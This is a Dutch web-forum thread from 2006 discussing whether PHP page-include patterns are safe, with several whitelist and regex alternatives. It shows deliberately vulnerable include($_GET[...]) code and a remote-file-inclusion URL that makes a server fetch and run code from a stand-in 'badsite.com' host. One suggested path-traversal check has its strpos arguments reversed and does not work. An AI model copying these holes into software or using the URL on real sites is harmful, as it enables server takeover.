[php]Mag dit?

Pagina: 1
Acties:

Onderwerpen


Acties:
  • 0 Henk 'm!

  • Alpha-sphere
  • Registratie: Januari 2001
  • Laatst online: 14-12-2021
Ik ben sinds een jaar gebruik aan het maken van de volgende manier van includen zodat ik niet 30x dezelfde site layout heb staan in elke document.

Navi.php (deze wordt ge-include in index.php)
Hier staat de navi in met links die er zo uit zien

<a href="index.php?pagina=links">links</a>

Index.php
Zo vang ik het op

PHP:
1
2
3
4
<?php
    if ($pagina == "links") {
    include_once 'links.php';
    }


Dit vind ik zelf een hele handige manier maar een vriend vertelde me onlanks dat dit een niet zo veilige manier is en dat hackers hier gebruik van kunnen maken.
Mijn vraag is of hij gelijk heeft en wat dan wel een goede manier is?

Damn! nu al bijna 2 uur. Snel naar m'n werk :p

Assume there are no rules and it's one big free for all


Acties:
  • 0 Henk 'm!

  • CyBeR
  • Registratie: September 2001
  • Niet online

CyBeR

💩

In dit geval is 't niet onveilig, nee. Het is onveilig als je zonder controles invoer van de gebruiker direct include. Maar jij gebruikt die invoer alleen om een keuze te maken.

All my posts are provided as-is. They come with NO WARRANTY at all.


Acties:
  • 0 Henk 'm!

  • DizzyWeb
  • Registratie: Februari 2001
  • Laatst online: 05-09 14:30

DizzyWeb

Ondertiteld

Neuh, da's wel veilig.

Wat onveilig is, is dan dit doen:

PHP:
1
include_once($pagina . '.php');

Acties:
  • 0 Henk 'm!

  • Snake
  • Registratie: Juli 2005
  • Laatst online: 07-03-2024

Snake

Los Angeles, CA, USA

Dit mag, omdat je niet kan aanpassen welke pagina wordt geincluded.

Het is erger als je dit deed:

PHP:
1
2
3
if (isset($_GET['pagina'])) {
include($_GET['pagina'].".php");
}


damn ik typ te traag :P

[ Voor 20% gewijzigd door Snake op 22-01-2006 13:53 . Reden: 2 slow ]

Going for adventure, lots of sun and a convertible! | GMT-8


Acties:
  • 0 Henk 'm!

  • Sv3n
  • Registratie: Mei 2002
  • Laatst online: 20-09 21:58
switch gebruiken ipv. zoveel if statements is wat mooier, maar dit is verder wel veilig hoor, zolang je maar niet uitgaat van input van de gebruiker zonder iets te checken :)

Last.fm
Films!


Acties:
  • 0 Henk 'm!

  • AK47
  • Registratie: Juli 2001
  • Laatst online: 04-05-2024
Sv3n schreef op zondag 22 januari 2006 @ 13:52:
switch gebruiken ipv. zoveel if statements is wat mooier, maar dit is verder wel veilig hoor, zolang je maar niet uitgaat van input van de gebruiker zonder iets te checken :)
Of preg_match gebruiken :)


PHP:
1
2
3
if (preg_match ("/(links|rechts)/", $_GET["pagina"], $matches)) {
   include_once ($matches[0] . ".php");
}


Maar ok, dat is dan wel matchen, dus komt er in $_GET["pagina"] maar ergens 'rechts' of 'links' voor dan gaat 'ie dat includen :)

[ Voor 8% gewijzigd door AK47 op 22-01-2006 14:10 ]


Acties:
  • 0 Henk 'm!

  • ACM
  • Registratie: Januari 2000
  • Niet online

ACM

Software Architect

Werkt hier

(jarig!)
Sv3n schreef op zondag 22 januari 2006 @ 13:52:
switch gebruiken ipv. zoveel if statements is wat mooier, maar dit is verder wel veilig hoor, zolang je maar niet uitgaat van input van de gebruiker zonder iets te checken :)
Of spelen met array's:

PHP:
1
2
3
4
5
6
7
8
$validPages = array('links', '...');
if(in_array($page, $validPages))
  include($page . '.php');

// of
$pageIds = array('links' => 'links.php', '...');
if(isset($pageIds[$page]))
  include($pageIds[$page]);


Dat is nog iets handiger dan allemaal losse statements als je veel pagina's hebt om te includen. De 2e variant is vooral handig als je meerdere identifiers voor pagina's wilt of als er geen logische koppeling tussen zit.

Acties:
  • 0 Henk 'm!

  • Sybr_E-N
  • Registratie: December 2001
  • Laatst online: 12:54
Sv3n schreef op zondag 22 januari 2006 @ 13:52:
switch gebruiken ipv. zoveel if statements is wat mooier, maar dit is verder wel veilig hoor, zolang je maar niet uitgaat van input van de gebruiker zonder iets te checken :)
Om het nog op enige manier generiek te houden kun je beter gebruik maken van in_array().

Acties:
  • 0 Henk 'm!

  • Michali
  • Registratie: Juli 2002
  • Laatst online: 29-05 22:54
Dat gaat best hoor. Een hele veilige nette methode. Je moet alleen steeds if statements (of switch cases) toevoegen bij nieuwe pagina's. Wat je ook kunt doen is een array maken waarin alle toegestane pagina's zitten, dan controleren of de parameter er in voor komt, zo ja, de betreffende pagina includen. Iets als dit zou je dan kunnen krijgen:
PHP:
1
2
3
4
5
$pages = array('news', 'links', 'contact');
if ( in_array($_GET['page'], $pages) )
{
  include "./pages/" . $_GET['page'] . ".php";
}

// edit: spuit 11 met code hierboven :P

Dat is ook gewoon veilig. Je zou het nog dynamischer kunnen maken, door gewoon direct naar een bestand in een map te linken, zonder dat je daar een lijstje van bijhoudt. Dan moet je wel extra controles inbouwen:
PHP:
1
2
3
4
5
6
7
8
9
$page = $_GET['page'];
$invalidStrings = array("..", "/", "\\");
foreach ( $invalidStrings as $invalidString )
{
  if ( strpos($invalidString, $page) !== false ) die("Error: Invalid page identifier!");
}
$pagePath = "./pages/page." . $page . ".php";
if ( !file_exists($pagePath) ) die("Error: Page " . $page . " does not exist!");
include $pagePath;

Door te controleren op die $invalidChars kun je voorkomen dat men kan gaan navigeren in je directory structuur. Alleen bestanden in het mapje pages die beginnen met page. en eindigen met de extensie .php kunnen worden geinclude. Dat maakt het ook wel veilig.

[ Voor 37% gewijzigd door Michali op 22-01-2006 14:18 ]

Noushka's Magnificent Dream | Unity


Acties:
  • 0 Henk 'm!

  • Skaah
  • Registratie: Juni 2001
  • Laatst online: 16-09 18:38
AK47 schreef op zondag 22 januari 2006 @ 14:10:
[...]
Of preg_match gebruiken :)


PHP:
1
2
3
if (preg_match ("/(links|rechts)/", $_GET["pagina"], $matches)) {
   include_once ($matches[0] . ".php");
}


Maar ok, dat is dan wel matchen, dus komt er in $_GET["pagina"] maar ergens 'rechts' of 'links' voor dan gaat 'ie dat includen :)
PHP:
1
if (preg_match ("/^(links|rechts)$/", $_GET["pagina"], $matches)) {

Acties:
  • 0 Henk 'm!

  • Tjeemp
  • Registratie: Januari 2005
  • Laatst online: 03-01-2015

Tjeemp

BEER N TEA

in nieuwere versies van PHP werkt trouwens $pagina niet meer, je moet gebruik maken van de superglobals... dat maakt input sowieso al veiliger.

dus op deze manier $_GET['pagina'] zoals boven al staat.

voor de andere superglobals kun je even op www.php.net kijken :)

www.timovanderzanden.nl | Beer 'n' Tea


Acties:
  • 0 Henk 'm!

  • Pingelmonster
  • Registratie: Juli 2005
  • Niet online
je kunt ook dit doen:

PHP:
1
2
3
4
5
<?php
   switch($pagina){
         case 'links': include 'links.php';
         break;
?>


Je kunt voor iedere case een andere pagina invoegen, het is de basis van een paginascriptje

[ Voor 54% gewijzigd door Pingelmonster op 22-01-2006 14:51 ]


Acties:
  • 0 Henk 'm!

  • NMe
  • Registratie: Februari 2004
  • Laatst online: 09-09 13:58

NMe

Quia Ego Sic Dico.

Alpha-sphere schreef op zondag 22 januari 2006 @ 13:49:
Dit vind ik zelf een hele handige manier maar een vriend vertelde me onlanks dat dit een niet zo veilige manier is en dat hackers hier gebruik van kunnen maken.
Nou vraag ik me eigenlijk wel af wat die vriend van je hier dan zo onveilig aan vindt. :?
pingelmonster schreef op zondag 22 januari 2006 @ 14:49:
je kunt ook dit doen:

PHP:
1
//knip


Je kunt voor iedere case een andere pagina invoegen, het is de basis van een paginascriptje
Er wordt hierboven al uitgelegd dat dat redelijk omslachtig is voor zoiets simpels. ;)

[ Voor 33% gewijzigd door NMe op 22-01-2006 14:53 ]

'E's fighting in there!' he stuttered, grabbing the captain's arm.
'All by himself?' said the captain.
'No, with everyone!' shouted Nobby, hopping from one foot to the other.


Acties:
  • 0 Henk 'm!

  • AK47
  • Registratie: Juli 2001
  • Laatst online: 04-05-2024
Skaah schreef op zondag 22 januari 2006 @ 14:28:
[...]

PHP:
1
if (preg_match ("/^(links|rechts)$/", $_GET["pagina"], $matches)) {
Dat kan natuurlijk ook :P

Acties:
  • 0 Henk 'm!

  • FragFrog
  • Registratie: September 2001
  • Laatst online: 09:34
-NMe- schreef op zondag 22 januari 2006 @ 14:52:
[...]

Nou vraag ik me eigenlijk wel af wat die vriend van je hier dan zo onveilig aan vindt. :?
Stel hij heeft een admin pagina.

Stel in z'n .htaccess / httpd.conf staat netjes dat alles gerewrite wordt naar index.php

Stel hij denkt daardoor 'ha, niemand kan bij m'n admin pagina komen!' en zet er geen beveiliging op.

DAN kan een hacker door index.php?link=admin toch op z'n admin pagina komen! ;)

okok, het is wat vergezocht, dat wel :+

[ Site ] [ twitch ] [ jijbuis ]


Acties:
  • 0 Henk 'm!

  • Alpha-sphere
  • Registratie: Januari 2001
  • Laatst online: 14-12-2021
Thanks voor de input allemaal! Heb ik weer wat nieuws geleerd :)

Assume there are no rules and it's one big free for all


Acties:
  • 0 Henk 'm!

  • StevenK
  • Registratie: Februari 2001
  • Laatst online: 20-09 16:45
FragFrog schreef op zondag 22 januari 2006 @ 18:45:
[...]


Stel hij heeft een admin pagina.

Stel in z'n .htaccess / httpd.conf staat netjes dat alles gerewrite wordt naar index.php

Stel hij denkt daardoor 'ha, niemand kan bij m'n admin pagina komen!' en zet er geen beveiliging op.

DAN kan een hacker door index.php?link=admin toch op z'n admin pagina komen! ;)
Daarom moet je ook in de admin pagina op zijn minst een HTTP_AUTH_USER check doen; als je iets achter een .htaccess hangt, moet je ook echt controleren of de user via de .htaccess binnen is gekomen en is het niet onverstandig er ook nog een tweede check te doen, met één of andere login.

[ Voor 12% gewijzigd door StevenK op 23-01-2006 10:21 ]

Was advocaat maar vindt het juridische nog steeds leuk


Acties:
  • 0 Henk 'm!

  • Erkens
  • Registratie: December 2001
  • Niet online

Erkens

Fotograaf

FragFrog schreef op zondag 22 januari 2006 @ 18:45:
Stel hij denkt daardoor 'ha, niemand kan bij m'n admin pagina komen!' en zet er geen beveiliging op.
dat maakt deze code dan nog niet onveilig ;)

Acties:
  • 0 Henk 'm!

  • Alpha-sphere
  • Registratie: Januari 2001
  • Laatst online: 14-12-2021
Ik heb het even nagevraagd aan 'm en hij gaf me een link door met het volgende
It gets worse then that...
index.php?page=http://badsite.com/somescript.txt

this will make it download and include the code!
So if somescript.txt has say
<?php
phpinfo();
?>

it will execute it on the server!!

Assume there are no rules and it's one big free for all


Acties:
  • 0 Henk 'm!

  • NMe
  • Registratie: Februari 2004
  • Laatst online: 09-09 13:58

NMe

Quia Ego Sic Dico.

Alpha-sphere schreef op maandag 23 januari 2006 @ 11:09:
Ik heb het even nagevraagd aan 'm en hij gaf me een link door met het volgende


[...]
Ja, heel leuk, maar dat kan met het stukje voorbeeldcode dat jij gaf dus nooit en te nimmer. :P

'E's fighting in there!' he stuttered, grabbing the captain's arm.
'All by himself?' said the captain.
'No, with everyone!' shouted Nobby, hopping from one foot to the other.


Acties:
  • 0 Henk 'm!

  • Erkens
  • Registratie: December 2001
  • Niet online

Erkens

Fotograaf

Alpha-sphere schreef op maandag 23 januari 2006 @ 11:09:
Ik heb het even nagevraagd aan 'm en hij gaf me een link door met het volgende


[...]
ik zou zeggen tegen hem dat hij dat eens mag proberen dan :o
want die $_GET['page'] include je namelijk niet, je include (nav een if statement) een fixed file.
Pagina: 1